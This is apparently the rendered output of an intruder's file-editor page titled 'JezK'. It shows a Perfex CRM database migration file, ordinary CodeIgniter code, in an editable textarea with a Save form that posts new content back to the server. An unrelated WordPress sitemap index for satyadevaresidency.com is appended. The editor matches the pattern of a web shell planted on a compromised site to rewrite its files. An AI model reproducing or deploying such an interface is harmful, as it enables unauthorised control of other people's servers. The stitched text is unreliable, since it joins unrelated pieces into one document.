
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: 160_version_160.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Migration_Version_160 extends CI_Migration
{
    function __construct()
    {
        parent::__construct();
    }

    public function up()
    {
        add_option('default_view_calendar','month');
        add_option('delete_backups_older_then',0);
        add_option('staff_members_open_tickets_to_all_contacts',1);

        $this-&gt;db-&gt;query(&quot;CREATE TABLE IF NOT EXISTS `tbltags` (
          `id` int(11) NOT NULL AUTO_INCREMENT,
          `name` varchar(100) NOT NULL,
          PRIMARY KEY (`id`)
          ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;&quot;);

        $this-&gt;db-&gt;query(&quot;CREATE TABLE IF NOT EXISTS `tbltags_in` (
          `rel_id` int(11) NOT NULL,
          `rel_type` varchar(20) NOT NULL,
          `tag_id` int(11) NOT NULL,
          `tag_order` int(11) NOT NULL DEFAULT '0',
          KEY `rel_id` (`rel_id`),
          KEY `rel_type` (`rel_type`),
          KEY `tag_id` (`tag_id`)
          ) ENGINE=MyISAM DEFAULT CHARSET=utf8;&quot;);

        $this-&gt;db-&gt;query(&quot;ALTER TABLE `tblprojectfiles` ADD `external` VARCHAR(40) NULL AFTER `contact_id`, ADD `external_link` TEXT NULL AFTER `external`, ADD `thumbnail_link` TEXT NULL AFTER `external_link`;&quot;);
        $this-&gt;db-&gt;query(&quot;ALTER TABLE `tblclients` ADD `show_primary_contact` INT NOT NULL DEFAULT '0' AFTER `default_currency`;&quot;);

        $this-&gt;db-&gt;query(&quot;ALTER TABLE `tbltaskstimers` ADD INDEX(`staff_id`);&quot;);
        $this-&gt;db-&gt;query(&quot;ALTER TABLE `tblprojects` ADD `date_finished` DATETIME NULL AFTER `project_created`;&quot;);

        $this-&gt;db-&gt;where('name','email_piping_enabled');
        $this-&gt;db-&gt;delete(db_prefix().'options');

        update_option('update_info_message', '&lt;div class=&quot;col-md-12&quot;&gt;
            &lt;div class=&quot;alert alert-success bold&quot;&gt;
                &lt;h4 class=&quot;bold&quot;&gt;Hi! Thanks for updating Perfex CRM - You are using version 1.6.0&lt;/h4&gt;
                &lt;p&gt;
                    This window will reload automaticaly in 10 seconds and will try to clear your browser cache, however its recomended to clear your browser cache manually.
                &lt;/p&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;script&gt;
            setTimeout(function(){
                window.location.reload();
            },10000);
        &lt;/script&gt;
        ');
    }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://satyadevaresidency.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-gallery-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-testimonial-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-gallery_cat-1.xml</loc></sitemap></sitemapindex>
